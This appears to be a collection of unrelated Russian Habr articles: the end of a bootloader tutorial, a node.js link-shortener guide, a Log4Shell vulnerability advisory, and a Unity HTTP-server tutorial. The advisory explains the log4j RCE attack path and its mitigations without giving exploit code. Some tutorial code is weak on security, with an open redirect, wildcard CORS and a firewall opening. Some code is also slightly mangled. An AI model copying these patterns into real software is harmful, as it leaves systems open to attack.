мы устанавливаем видео режим 80х25 (80 символов в строке и 25 строк) и тем самым очищаем экран.
```
mov ah, 2h
mov dh, 0
mov dl, 0
xor bh, bh
int 10h
```
Здесь мы устанавливаем курсор. За это отвечает функция 2h прерывания 10h. В регистр dh мы помещаем координату курсора по Y, а в регистр dl — по X.
```
mov ax, 1301h
mov bp, message
mov cx, 12
mov bl, 02h
int 10h
```
Печатаем строку. За это отвечает функция 13h прерывания 10h. В регистр bp мы помещаем саму строку, в регистр cx — число символов в строке, в регистр bl — атрибут, в нашем случае цвет, он будет зеленым. На цвет фона влияют первые 4 бита, на цвет текста — вторые 4 бита. Ниже представлена таблица цветов
```
0 - черный, 1 - синий, 2 - зеленый, 3 - желтый, 4 - красный, 5 - фиолетовый, 6 - коричневый, 7 - светло-серый, 8 - темно-серый, 9 - светло-синий, A - светло-зеленый, B - светло-желтый, C - светло-красный, D- светло-фиолетовый, E - светло-коричневый, F – Белый.
```
В строке
```
jmp $
```
Программа зависает.
Откомпилируем код нажатием клавиш Ctrl + F9 и сохраним полученный файл как boot.bin.
Запуск
------
Запускаем UltraISO и перетаскиваем наш бинарник в специальную область (отмечено красной стрелкой).
Далее кликаем правой кнопкой мыши по бинаринку и нажимаем кнопку примерно с такой надписью: «Установить загрузочным файлом». Далее сохраняем наш файл в формате ISO.
Открываем VIrtualBox и создаем новую виртуальную машину (если вы не знаете, как это делается, кликайте [сюда](https://remontka.pro/virtualbox/)). Итак, после того, как вы создали виртуальную машину, нажимаем «Настроить, выбираем пункт „Носители“, нажимаем на „Пусто“, там где „Привод“ есть значок оптического диска. Нажимаем на него и выбираем „Выбрать образ оптического диска“, ищем наш ISO файл, нажимаем „Открыть“. Сохраняем все настройки и запускаем виртуальную машину. На экране появляется наш „Hello World!“.
На этом первый выпуск подходит к концу. В следующей части мы научим наш загрузчик читать сектора диска и загрузим свое первое ядро! | https://habr.com/ru/post/504634/ | null | ru | null |
# node.js сокращатель ссылок
Привет, Хабр! В этой статье я пошагово рассмотрю создание простого веб-приложения — сокращателя ссылок на node.js, используя mysql-libmysqlclient, MooTools на сервере и jQuery на клиенте. Статья предполагает, что читатель уже прошёл упражнение «Hello world» и разобрался в самых основах node.js.
Сразу предупрежу — я не считаю себя экспертом в node.js. Предлагаю обсудить код и вместе приблизиться к идеалу. Возможно, мы вместе сделаем отличный пример для новичков. Потому — конструктивная критика привествуется.
Серверный MooTools
------------------
Я не хочу холиварить на тему нужно-ненужно, я предпочёл использовать, вы можете решить иначе.
Сходу подключить MooTools не удалось — нельзя просто взять, скачать серверный файл и сделать require('./MooTools').
Мне помог [твит MooTools от 12 июля](http://twitter.com/#!/mootools/status/18359437520) и ссылка [davidwalsh.name/mootools-nodejs](http://davidwalsh.name/mootools-nodejs). В итоге, библиотека подключилась так:
```
require('./Lib/MooTools').apply(GLOBAL);
```
MySQL
-----
Для данного приложения больше подходит какая-нибудь NoSQL база данных, но моей целью было именно научится работать с MySQL в node.js.
Я достал из закладок [топик про Node-mysql-libmysqlclient](http://habrahabr.ru/blogs/javascript/105089/), взял всю необходимую инфу и по мануалам без проблем собрал клиент.
Сам скрипт я закинул в папку `Lib` в проекте, потому он легко инициируется так:
```
var conn = require('./Lib/mysql/mysql-libmysqlclient').createConnectionSync();
conn.connectSync('localhost', 'NAME', 'PASS', 'nodejs');
```
Расширяем ServerResponse
------------------------
Для того, чтобы было удобно задавать хедеры в приложении и редиректить я решил расширить прототип ServerResponse(считаю, что такой подход соответствует идеологии JavaScript) с помощью метода MooTools implements:
```
var http = require('http');
http.ServerResponse.implement({
// code - какой код вернула страница. Это может быть, например 200 (Ok) или 404 (Not Found)
// plain - отдаем просто текст если true, иначе - html
header : function (code, plain) {
this.writeHead(code, {
'Content-Type': plain ? 'text/plain' : 'text/html'
});
},
// response.redirect('http://example.com') перенесет нас на соответствующий адрес
redirect : function (url, status) {
this.writeHead(status || 302, {
'Content-Type' : 'text/plain',
'Location' : url
});
this.write('Redirecting to ' + url);
this.end();
}
});
```
Каркас приложения
-----------------
```
http.createServer(function (req, res) {
// code will be here
}).listen(8124, "127.0.0.1");
console.log('Server running at http://127.0.0.1:8124/');
```
Ссылки, файл `Link.js`
----------------------
Итак, ссылка у нас имеет три свойства — id в базе данных, url, на который она ведет и code, который показывается в нашем сокращателе.
Мы не будем писать отдельно code в базу, а будем получать его на базе id, переводя его в 36-ритчную систему счисления ([0-9a-z]).
```
Link.getCode = function (id) {
return id ? id.toString(36) : null;
};
Link.fromCode = function (code) {
return code ? parseInt(code, 36) : null;
};
```
На базе этого построим сам класс-ссылки, который разместим перед статическими методами:
```
Link = new Class({
initialize : function (obj) {
// если не получилось установить айди - пытаемся получить его из кода
this.setId(obj.id).id || this.setCode(obj.code);
this.setUrl(obj.url);
},
setId : function (id) {
// id должен быть исключительно int
this.id = (isNaN(id) || id <= 0) ? null : parseInt(id);
return this;
},
getId : function () {
return this.id;
},
setUrl : function (url) {
this.url = url || null;
return this;
},
getUrl : function () {
return this.url;
},
setCode : function (code) {
this.id = Link.fromCode(code);
return this;
},
getCode : function () {
return Link.getCode(this.id);
}
});
```
В базе создадим простую таблицу и напишем модель для получения и вставки ссылки:
```
CREATE TABLE `shortLinks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`url` varchar(512) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
```
Model = new Class({
initialize : function (conn) {
// ссылка на соединение с базой данных
this.conn = conn;
},
create : function (args) {
// так будет легче создавать ссылки, в следующем файле увидим
return new Link(args);
},
get : function (link, fn) {
// нам не нужны неверные
if (!link.getId()) throw 'EmptyId';
// простой запрос. мы знаем, что link.id может быть только int
var q = 'SELECT * FROM `shortLinks` WHERE `id` = ' + link.getId();
// запросы необходимо делать асинхронно. такая идеология языка.
this.conn.query(q, function (err, res) {
if (err) throw err;
res.fetchAll(function (err, rows) {
if (err) throw err;
// по завершению мы вызовем ф-цию, переданную в метод
fn(rows.length ? link.setUrl(rows[0].url) : null);
res.freeSync();
});
});
},
put : function (link, fn) {
// url - небезопасен, потому !обязательно! необходимо его экранировать
var q = 'INSERT INTO `shortLinks` (`id`, `url`) ' +
'VALUES (NULL , "' + this.conn.escapeSync(link.getUrl()) + '");'
this.conn.query(q, function (err, res) {
if (err) throw err;
// указываем новый айди и передаем ссылку
fn(link.setId(
// таким способом можно получить айди вставки
this.conn.lastInsertIdSync()
));
}.bind(this));
}
});
// Эти классы будут экспортироваться
exports.Link = Link;
exports.Model = Model;
```
В инициализацию можно добавить следующую строку:
```
var linkModel = new (require('./Link').Model)(conn);
```
Обратите внимание, скобки вокруг `require('./Link').Model` — обязательны, иначе оно постарается создать объект `require`.
Рендерер, файл `Renderer.js`
----------------------------
```
// не забываем во всех файлах подключать Мутулз
require('./Lib/MooTools').apply(GLOBAL);
// нам понадобится обработка ссылок
var url = require('url');
// и работа с файловой системой
var fs = require('fs');
exports.Renderer = new Class({
initialize : function (linkModel) {
this.link = linkModel;
}
});
```
Renderer, как и Link.Model будет создаваться только один раз при инициализации приложения и каждый запрос использоваться один и тот же, за счет чего мы не теряем драгоценные миллисекунды.
Основой будет метод run:
```
run : function (req, res) {
var path = url.parse(req.url, true);
if (path.query && 'add' in path.query) {
var addUrl = path.query.add;
// пользователь может передать ссылку без протокола, например, "example.com"
// Чтобы она не вела нас на внутреннюю страницу, необходимо добавить default-протокол
if (!url.parse(addUrl).protocol) {
addUrl = 'http://' + addUrl;
}
// добавляем новую ссылку
this.add(res, addUrl);
// если это сокращенная ссылка (формат url/!abc12 )
} else if (path.pathname.test(/^\/![0-9a-z]+$/)) {
// отрезаем первых два служебных символа (/!) и ссылаем пользователя
this.send(res, path.pathname.substr(2));
} else {
// во всех остальных случаях рендерим главную страницу
this.index(res);
}
},
```
Пока не забыли — немного отредактируем **`./init.js`**
```
var linkModel = new (require('./Link').Model)(conn);
var renderer = new (require('./Renderer').Renderer)(linkModel);
http.createServer(function (req, res) {
renderer.run(req, res);
}).listen(8124, "127.0.0.1");
```
Т.к. ссылки у нас будут добавлятся аджаксом, все, что нам надо — это записать ссылку в базу и вернуть её код:
```
add : function (res, url) {
res.header(200);
this.link.put(
this.link.create({ url : url }),
function (link) {
res.end(link.getCode());
}
);
},
```
Если пользователь хочет перейти по сокращенной ссылке — шлем его куда надо, или сообщаем, что такой ссылки нету
```
send : function (res, code) {
this.link.get(
this.link.create({ code : code }),
function (link) {
if (link) {
res.redirect(link.getUrl());
} else {
res.header(404, true);
res.end('There is not such url');
}
}
);
},
```
Для главной страницы — просто выводим файл index.html. Обратите внимание, я рекомендую обязательно указывать путь с \_\_dirname вначале, т.к. иначе вы можете наткнуться на неприятности
```
index : function (res) {
fs.readFile(__dirname + '/index.html', function (err, data) {
if (err) throw err;
res.header(200);
res.end(data);
})
}
```
Главная страница
----------------
На главной странице мы поступим просто — подключим с репов гугл джиквери, добавим поле ввода и когда пользователь захочет сократить ссылку — мы аджаксом получив код новой ссылки, красиво выведем её под полем ввода.
```
Сокращатель ссылок на node.js
</code></pre><br/>
<pre><code class="javascript">$(function () {
$('input[type=submit]').click(function() {
var input = $('input[type=text]');
var url = input.val();
input.val('');
url && $.ajax({
url : './',
data: ({ add : url }),
success : function (data) {
var result = location.protocol + '//' + location.host + '/!' + data;
$('#url')
.prepend(
$('<dd>').append(
$('<a>')
.text(result)
.attr('href', result)
)
.hide()
.fadeIn()
)
.prepend(
$('<dt>')
.text(url)
.hide()
.fadeIn()
);
}
});
})
});
</code></pre><br/>
<pre><code class="html">
```
Все.
**[Результат](http://links.freecr.ru/)**
----------------------------------------
Сразу предупрежу — сохранность ваших ссылок не гарантирую, сервис исключительно демонстративный.
[Весь код в одном месте на pastebin](http://pastebin.com/AYe93c7z) | https://habr.com/ru/post/105691/ | null | ru | null |
# Log4Shell/Leak4J — чрезвычайно опасная уязвимость в log4j2
Последние пару дней (и ночей) я изучал новую (чрезвычайно опасную) уязвимость в log4j2 под названием [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell).
Это касается всех версий log4j-core от 2.0-beta9 до 2.14.1, и это очень **серьезная** проблема.
Эта уязвимость позволяет злоумышленнику удаленно выполнить код в вашей системе с возможностью получить полный контроль над базовыми серверами.
Log4J долгое время был наиболее часто используемым фреймворком для ведения журналов в среде Java. Он чрезвычайно широко используется, и у этой атаки есть самый широкий триггер, который вы можете себе представить: ей нужно что-то зарегистрировать.
Вредоносный код может быть доставлен МНОГИМИ способами, если они попадают в оператор логирования. Через управляемые пользователем поля, HTTP-запросы, URL-адреса, **ВСЕ** что угодно.
Атака
-----
После написания некоторого кода (вредоносный встроенный сервер LDAP) я смог воспроизвести атаку RCE («Удаленное выполнение кода») даже на самый простой проект.
Вот пример: простая конечная точка REST в стартовом проекте Spring Boot с единственной строкой регистрации.
Как видите, код загружает и выполняет файл классов, распечатывающего сообщение, который я загружаю с вредоносного сервера LDAP (работающего удаленно).
Я не буду делиться вредоносным кодом, он слишком прост в настройке и злоупотреблении. Есть лучшие и более простые способы проверить, уязвимо ли ваше программное обеспечение. Например, с помощью этого инструмента от [Trend Micro](https://log4j-tester.trendmicro.com/).
Возможные риски
---------------
Риски этой уязвимости:
* Потеря *ВСЕХ* данных
* Программы-вымогатели
* Бэкдоры
* Ботнет
* Потеря ключей / секретов AWS / Kubernetes
* И этот список можно продолжать, продолжать и продолжать ...
### Исправление
**Вариант 1.** Если вы еще этого не сделали: обновите log4j-core до версии> = 2.16.0.
Используйте версию **2.16.0** вместо 2.15.0, это решает проблему более строго.
```
org.apache.logging.log4j
log4j-core
2.16.0
```
Сделайте то же самое для всех транзитивных зависимостей (!).
**Вариант 2**. Другой вариант - запустить JRE с помощью.
```
-Dlog4j2.formatMsgNoLookups=true
```
Но будьте **ВНИМАТЕЛЬНЫ:** этот флаг был реализован в log4j2, начиная с версии 2.10.0. Если у вас более старая версия, это не сработает.
**Вариант 3**. удалить JndiLookup.class
Также можно удалить `org.apache.logging.log4j.core.lookup.JndiLookup` из файлов JAR log4j. Я не рекомендую делать это, если вы хотите пойти по этому пути. Вероятно, проще просто перейти на>=*2.16.0*.
**Не вариант**:
* Более новая версия Java
* Свойство: *com.sun.jndi.ldap.object.trustURLCodebase*
Я видел в Интернете предложения, что «новые» версии Java не затронуты, но это **не так**. Даже с последними версиями Java и с установленным значением `trustURLCodebase`=`false` все равно можно украсть данные (например, переменные среды) и десериализовать объекты, уже известные загрузчику классов. Это упрощает запуск других десериализационных RCE.
Это может быть *немного* сложнее/безопаснее в более новой версии Java, но это определенно **НЕ** исправление.
Чтобы показать это, я взял последнюю версию Java 8 (1.8.311) и использую десериализацию log4j2 для создания чего-то, что открывает калькулятор на моем MacBook с использованием других классов, известных уязвимой цели:
Опять же: загружаемый объект все еще десериализуется в последней версии Java.
Вы были скомпрометированы
-------------------------
Отлично, вы обновили и устранили проблему. Однако: не останавливайтесь на достигнутом, это всего лишь первый шаг.
Эта утечка была известна и использовалась в течение долгого времени, вероятно, за несколько недель до того, как стала достоянием общественности. И если даже я смогу использовать его за пару минут с помощью собственного вредоносного кода: любой сможет.
Итак, вот что еще вам нужно сделать:
Шаг 1. **Обновите** и устраните утечку
Шаг 2: **Предполагая,** что все **украдено**: замените все ключи
Шаг 3: Войдите в вашу систему и **проанализируйте** записи в **лог** файлах
Шаг 4: Если вы настроили инфраструктуру как код: **восстановите** вашу **среду**
Шаг 4. **Повторно разверните** все свои **приложения**
Мы *ДОЛЖНЫ* отнестись к этому серьезно. Мне не хотелось бы услышать или прочитать через пару месяцев, что какая-то компания забыла исправить свое программное обеспечение.
### Присоединяйтесь к нашей встрече
* «Понимание Log4Shell: уязвимости, атаки и способы их устранения (прямая трансляция)»
* Среда, 15 декабря 2021 г., 20:00 CET
<https://www.meetup.com/OpenValue/events/282682468/>
> *Примечание переводчика.* К сожалению встреча уже прошла. Но есть презентация ее организаторов и вероятно будет выложена запись.
>
>
Дальнейшее чтение:
------------------
Вот несколько ссылок для получения дополнительной информации:
* <https://www.lunasec.io/docs/blog/log4j-zero-day/>
* <https://snyk.io/blog/find-fix-log4shell-quickly-snyk/>
* <https://en.wikipedia.org/wiki/Log4Shell> | https://habr.com/ru/post/595935/ | null | ru | null |
# Unity Http Server или как превратить телефон пользователя в геймпад
Всем привет! Меня зовут Григорий Дядиченко, и я технический продюсер. Сегодня хотелось бы поговорить про протокол HTTP, про сервера, и про простенькую реализацию Http сервера вшитого в Unity. Если вам это интересно – добро пожаловать под кат!
Чтож, начнём пожалуй с задачи на примере которой мы будем всё разбирать. В данной статье мы будем разбирать только Unity часть. Предположим вы делаете какой-то интерактивный стенд или на какой-нибудь крупной конференции демонстрируете свою игру скажем издателю. Если игра на пк, можно это обыграть управлением с геймпада и подключить его или же джойстиком. Чтобы человеку было удобно играть, и он не закрывал собой экран ноутбука играя в вашу самую лучшую игру. Но есть любопытная альтернатива. Сделать геймпад из телефона пользователя! В этом случае при наличии какой никакой экспертизе в веб разработке можно там же удобно собирать контакты. Всё что вам понадобится это ноутбук, wi fi роутер, геймпад в виде веб приложения и http сервер зашитый в unity.
**Важно:** в условиях реальной выставки что с bluetooth геймпадом, что с подобным решением, нужно помнить о том, что там может быть много устройств и шума. Поэтому это может работать нестабильно, но обычно такое бывает, когда таких роутеров очень много. В целом при наличии своего вайфая на выставке проще подключиться к нему, так как это локальная сеть, очень маленькие запросы. И во-первых, это не даст особой нагрузки на сеть, во-вторых, не будет создавать радио шум, в-третьих, потенциальный игрок вполне возможно что будет уже к нему подключён и не нужно будет давать ему логин и пароль. Итак, мы определили “зачем”, хотя кейс не единственный, теперь поговорим про “что”.
Протокол HTTP
-------------
В современном мире этот протокол должен знать вообще любой разработчик, в идеале со множеством знаний построенных поверх него. REST API, GraphQL, GRPC и так далее. Я в целом не хочу повторяться и тратить время на описание самого протокола, простым языком отлично это и так сделали [в этой статье](https://habr.com/ru/post/215117/). Но важно было про него упомянуть.
Http Server на Unity
--------------------
Если брать на вооружение самую простую и низкоуровневую реализацию HTTP сервера на Unity, то можно сразу же вспомнить про класс *HttpListener*. И реализовать всё с помощью него. Итак, для начала всё начинается с коннекта и определения **порта**. Если что в любом браузере любой существующий сайт по умолчанию стучится в 80 **порт**. То есть если сервер развёрнут на 80 порту, а айпи вашего ПК (можно посмотреть через ipconfg в cmd) 192.168.1.24 к примеру. То ссылка в браузере будет вида http://192.168.1.24, если же развернуть сервер на скажем порте 10021, то тогда уже она будет вида http://192.168.1.24:10021. Для того, чтобы начать “слушать **порт**”, создаём такой *Monobehavior* класс:
Пример
```
public class HttpServer : MonoBehaviour
{
[SerializeField] private int _Port = 10021;
private HttpListener _httpListener;
private void Start()
{
_httpListener = new HttpListener();
_httpListener.Prefixes.Add($"http://*:{_Port}/");
_httpListener.Start();
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
private async void OnGetCallback (IAsyncResult result)
{
}
}
```
Важный нюанс. **Порт** – это условное число в диапазоне от 0 до 65535. Но лучше опасаться портов от 0 до 1023, когда вы не понимаете что вы делаете. Так как эти порты называются системными, и используются многими популярными программами. Соответственно открывать соединение на 80 **порту** можно, если вы знаете, что на вашем ПК ничего больше не запущено на этом **порту**. Там часто по умолчанию развёрнут IIS, NGINX и так далее. Если кому интересно подробнее можно [посмотреть тут](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D0%BE%D1%80%D1%82%D0%BE%D0%B2_TCP_%D0%B8_UDP).
Так что если у вас возникает ошибка, что порт уже занят, возможно вы открываете соединение на **порту**, который уже зарезервировала какая-то программа. То что программы между собой общаются посредством протокола http в целом не такая редкая практика.
Итак соединение мы открыли, теперь нам надо бы что-то возвращать, как ответ сервера и реагировать на запросы. Допишем реализацию нашего метода *OnGetCallback*:
Пример
```
public class HttpServer : MonoBehaviour
{
[SerializeField] private int _Port = 10021;
private HttpListener _httpListener;
private void Start()
{
_httpListener = new HttpListener();
_httpListener.Prefixes.Add($"http://*:{_Port}/");
_httpListener.Start();
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
private async void OnGetCallback (IAsyncResult result)
{
HttpListenerContext context = _httpListener.EndGetContext(result);
var response = context.Response;
var request = context.Request;
context.Response.Headers.Clear();
try
{
CreateResponse(response, new NetworkAnswer(){ status = 200 });
}
catch (Exception e)
{
CreateErrorResponse(response, e.Message);
}
if (_httpListener.IsListening)
{
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
}
private async void CreateResponse(HttpListenerResponse response, NetworkAnswer data = default)
{
response.SendChunked = false;
response.StatusCode = data.status;
response.StatusDescription = data.status == 200 ? "OK" : "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(data));
}
response.Close();
}
private async void CreateErrorResponse(HttpListenerResponse response, string error)
{
response.SendChunked = false;
response.StatusCode = 500;
response.StatusDescription = "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(new NetworkAnswer()
{
status = 500,
errorMessage = error
}));
}
response.Close();
}
}
public class NetworkAnswer
{
public int status;
public string errorMessage;
public object data;
}
```
Теперь можно пойти в браузер и сделать запрос на localhost. И вуаля, It’s Alive! Правда? Наш хттп сервер готов? Ну не совсем.
Вездесущий CORS
---------------
На localhost так то оно работает, но вот при попытке сделать запрос скажем с телефона в браузере вылетит ошибка **CORS**. Что такое **CORS** и как оно работает? Если коротко, это технология которая ограничивает возможности запросов с одного домена на другой. Она была когда-то сделана во избежание проблем с фишингом, да и в целом это много для чего довольно удобно. Подробнее можно [почитать тут](https://habr.com/ru/company/macloud/blog/553826/).
Нас же интересует, а как это обработать. Так как если его не обработать, то запросы просто не пропустит **CORS политика браузера**. Сделать это довольно просто. Нужно прописать необходимые хедеры в наш метод *OnGetCallback*:
Пример
```
public class HttpServer : MonoBehaviour
{
[SerializeField] private int _Port = 10021;
private HttpListener _httpListener;
private void Start()
{
_httpListener = new HttpListener();
_httpListener.Prefixes.Add($"http://*:{_Port}/");
_httpListener.Start();
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
private async void OnGetCallback (IAsyncResult result)
{
HttpListenerContext context = _httpListener.EndGetContext(result);
var response = context.Response;
var request = context.Request;
context.Response.Headers.Clear();
response.AppendHeader("Access-Control-Allow-Origin", "*");
response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Accept, X-Requested-With");
response.AddHeader("Access-Control-Allow-Methods", "GET, POST");
response.AddHeader("Access-Control-Max-Age", "1728000");
try
{
CreateResponse(response, new NetworkAnswer(){ status = 200 });
}
catch (Exception e)
{
CreateErrorResponse(response, e.Message);
}
if (_httpListener.IsListening)
{
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
}
private async void CreateResponse(HttpListenerResponse response, NetworkAnswer data = default)
{
response.SendChunked = false;
response.StatusCode = data.status;
response.StatusDescription = data.status == 200 ? "OK" : "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(data));
}
response.Close();
}
private async void CreateErrorResponse(HttpListenerResponse response, string error)
{
response.SendChunked = false;
response.StatusCode = 500;
response.StatusDescription = "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(new NetworkAnswer()
{
status = 500,
errorMessage = error
}));
}
response.Close();
}
}
public class NetworkAnswer
{
public int status;
public string errorMessage;
public object data;
}
```
Всё, корс пройден? Не совсем. Лучше заранее так же обработать такую штуку, которая называется **предварительный запрос.** Так как мы не знаем в каком контексте будет использоваться наш простенький Http Server, то мы заранее обработаем тот случай, когда CORS считает запрос сложным. Дело в том, что если современный браузер считает запрос сложным, то перед отправкой основного запроса он посылает **предварительный запрос** с методом OPTIONS. Например признаки сложных запросов:
* Использующие методы кроме GET, POST, или HEAD
* Включающие заголовки кроме Accept, Accept-Language, Content-Type или Content-Language
* Со значением Content-Type отличнным от application/x-www-form-urlencoded, multipart/form-data, или text/plain
Так как в всё это значит для нас то, что в наш сервер просто придёт лишний запрос с методом OPTIONS, который нам надо обработать и вернуть правильный респонс. Мы просто добавляем в наш метод *OnGetCallback*:
Пример
```
public class HttpServer : MonoBehaviour
{
[SerializeField] private int _Port = 10021;
private HttpListener _httpListener;
private void Start()
{
_httpListener = new HttpListener();
_httpListener.Prefixes.Add($"http://*:{_Port}/");
_httpListener.Start();
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
private async void OnGetCallback (IAsyncResult result)
{
HttpListenerContext context = _httpListener.EndGetContext(result);
var response = context.Response;
var request = context.Request;
context.Response.Headers.Clear();
response.AppendHeader("Access-Control-Allow-Origin", "*");
response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Accept, X-Requested-With");
response.AddHeader("Access-Control-Allow-Methods", "GET, POST");
response.AddHeader("Access-Control-Max-Age", "1728000");
if (request.HttpMethod == "OPTIONS")
{
CreateResponse(response, new NetworkAnswer(){ status = 200});
if (_httpListener.IsListening)
{
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
return;
}
try
{
CreateResponse(response, new NetworkAnswer(){ status = 200 });
}
catch (Exception e)
{
CreateErrorResponse(response, e.Message);
}
if (_httpListener.IsListening)
{
_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
}
private async void CreateResponse(HttpListenerResponse response, NetworkAnswer data = default)
{
response.SendChunked = false;
response.StatusCode = data.status;
response.StatusDescription = data.status == 200 ? "OK" : "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(data));
}
response.Close();
}
private async void CreateErrorResponse(HttpListenerResponse response, string error)
{
response.SendChunked = false;
response.StatusCode = 500;
response.StatusDescription = "Internal Server Error";
using (var writer = new StreamWriter(response.OutputStream, response.ContentEncoding))
{
await writer.WriteAsync(JsonConvert.SerializeObject(new NetworkAnswer()
{
status = 500,
errorMessage = error
}));
}
response.Close();
}
}
public class NetworkAnswer
{
public int status;
public string errorMessage;
public object data;
}
```
Вух! **CORS** прошли, самое сложное можно сказать позади. Теперь добавим немного удобства. Теперь наш http server готов?
Вездесущий фаерволл
-------------------
Всё, можно слать запросы с телефона? Не тут то было, а точнее не совсем. Если в билде всё уже работает, то в редакторе нужно сделать последний шаг. И это “пройти **фаервол**”. Если у вас отключен **фаервол** то “вы ходите по \*\*\* тонкому льду”, но ваше право. А если же он всё-таки включен, то в юнити есть небольшая странность. Возможно очень топорная защита от уязвимостей, что странно в инструменте для разработчиков. Но юнити про многое по моему опыту считало в своё время “да вам это не надо”. При установке по умолчанию он прописывает правило запрещающее паблик коннекты к редактору Unity.
Я уже как-то подсвечивал этот момент [в этой статье](https://habr.com/ru/post/321278/). Но тогда я был молодой неопытный и не мог объяснить всё нормальным языком. **Firewall**, который многие не заслужено не любят, это ваш хороший друг. Как и вообще любая политика безопасности, так как не дураки его придумывали. И лучше уметь его настраивать, а не отключать. Собственно чтобы редактор начал отвечать нужно изменить в Advanced Settings в Inbound Rules редактора с запрета паблик соединений на разрешение.
Пример картинкамиФух! Справились, теперь наш http server отвечает и в Unity.
Рефлексию в каждый дом
----------------------
Многие не любят **рефлексию**. Но не я. Я не люблю лишние, беспощадные и бессмысленные оптимизации. У **рефлексии** есть свои плюсы и минусы, она не везде работает, не всегда применима, но как же она иногда упрощает жизнь. **Рефлексия** (или механизм отражения) в С# позволяет творить очень много очень хитрой магии. Но нам понадобится конкретная её часть. Возможность “заглянуть в ассембли” и посмотреть, а какие наследники базового класса есть в нашей программе. Собственно это один из моих любимых паттернов для реализации консольных комманд, собственных скриптовых языков и т.п. Для начала создадим базовый абстрактный класс:
Класс HTTPServerHandler
```
public abstract class HTTPServerHandler
{
protected abstract string _route { get; }
protected string[] _params;
public bool IsThisRoute (string url)
{
return url.ToLower().Contains(_route.ToLower());
}
private void ParseParams (string url)
{
_params = url.Replace(_route, string.Empty).Split('/');
}
public abstract NetworkAnswer GetAnswerData ();
public virtual void ProcessParams (string url)
{
ParseParams(url);
}
}
```
Параметры в http запросе мы будем писать в путь запроса через “/” для простоты реализации. А дальше соберём наших наследников в список хендлеров через рефлексию, дописав метод Start нашего http сервера и введя поле \_httpServerHandlers:
Пример
```
private List \_httpServerHandlers;
private void Start()
{
\_httpServerHandlers = new List();
var subclassTypes = Assembly
.Load("Assembly-CSharp")
.GetTypes()
.Where(t => t.IsSubclassOf(typeof(HTTPServerHandler)));
foreach (var subclassType in subclassTypes)
{
\_httpServerHandlers.Add(Activator.CreateInstance(subclassType) as HTTPServerHandler);
}
\_httpListener = new HttpListener();
\_httpListener.Prefixes.Add($"http://\*:{\_Port}/");
\_httpListener.Start();
\_httpListener.BeginGetContext(new AsyncCallback(OnGetCallback), null);
}
```
В Unity *“Assembly-CSharp”* – это основное ассембли проекта. Сделано в данном случае это так, а не запрашивая ассембли класса для того, чтобы не запутаться при использовании в проекте механизма **Assebly Definitions**. Так как можно создать наследника класса вне ассембли с классом *HttpServerHandler* и тогда рефлексия его не увидит. Не очень оптимально, так как по сути мы запросили все типы основного ассембли программы, и отфильтровали нужные нам, что может быть достаточно медленно. Но это уже каждый может оптимизировать под себя. И переделать этот блок хоть под регистрацию хенделров в явном виде. Класс же активатор позволяет нам создать объект типа, которые мы нашли. И вуаля наши хендлеры зарегистрированы. Можно сделать более красивый вариант с реализацией через атрибуты, но мы разберём самый простой способ упростить себе жизнь.
Что это позволяет нам сделать? Ну по сути теперь для того, чтобы наш хендлер подключился к системе сервера, нам достаточно реализовать его наследника, и он подтянется автоматически. Напишем например хендлер для нашего “удалённого геймпада”:
Класс GamepadHandler
```
public class GamepadHandler : HTTPServerHandler
{
protected override string _route => "/gamepad/";
private bool IsSuccess = true;
private string ErrorMessage;
public override void ProcessParams(string url)
{
base.ProcessParams(url);
if(Enum.TryParse(\_params[1], true, out var key))
{
if (\_params[0] == "down")
{
WebInput.SetKeyDown(key);
}
else
{
WebInput.SetKeyUp(key);
}
}
else
{
ErrorMessage = $"Invalid keycode in param 1. There are no keycode {\_params[0]}";
}
}
public override NetworkAnswer GetAnswerData()
{
return new NetworkAnswer()
{
status = IsSuccess ? 200 : 500,
errorMessage = IsSuccess ? null : ErrorMessage
};
}
}
```
```
public class WebInput : IKeyInput
{
private static Dictionary \_Keys = new Dictionary();
public static void SetKeyDown(KeyCode key)
{
\_Keys[key] = KeyState.Down;
}
public static void SetKeyUp(KeyCode key)
{
\_Keys[key] = KeyState.Up;
}
public bool GetKeyDown(KeyCode key)
{
if (!\_Keys.ContainsKey(key)) return false;
return \_Keys[key] == KeyState.Down;
}
public bool GetKeyUp(KeyCode key)
{
if (!\_Keys.ContainsKey(key)) return false;
return \_Keys[key] == KeyState.Up;
}
public bool GetKey(KeyCode key)
{
if (!\_Keys.ContainsKey(key)) return false;
return \_Keys[key] == KeyState.Pressed;
}
public void ProcessState()
{
foreach (var key in \_Keys.Keys.ToList())
{
switch (\_Keys[key])
{
case KeyState.Down:
\_Keys[key] = KeyState.Pressed;
break;
case KeyState.Up:
\_Keys[key] = KeyState.None;
break;
}
}
}
private enum KeyState
{
None = 0,
Up = 1,
Down = 2,
Pressed = 4
}
}
```
```
public interface IKeyInput
{
bool GetKey(KeyCode key);
bool GetKeyDown(KeyCode key);
bool GetKeyUp(KeyCode key);
void ProcessState();
}
```
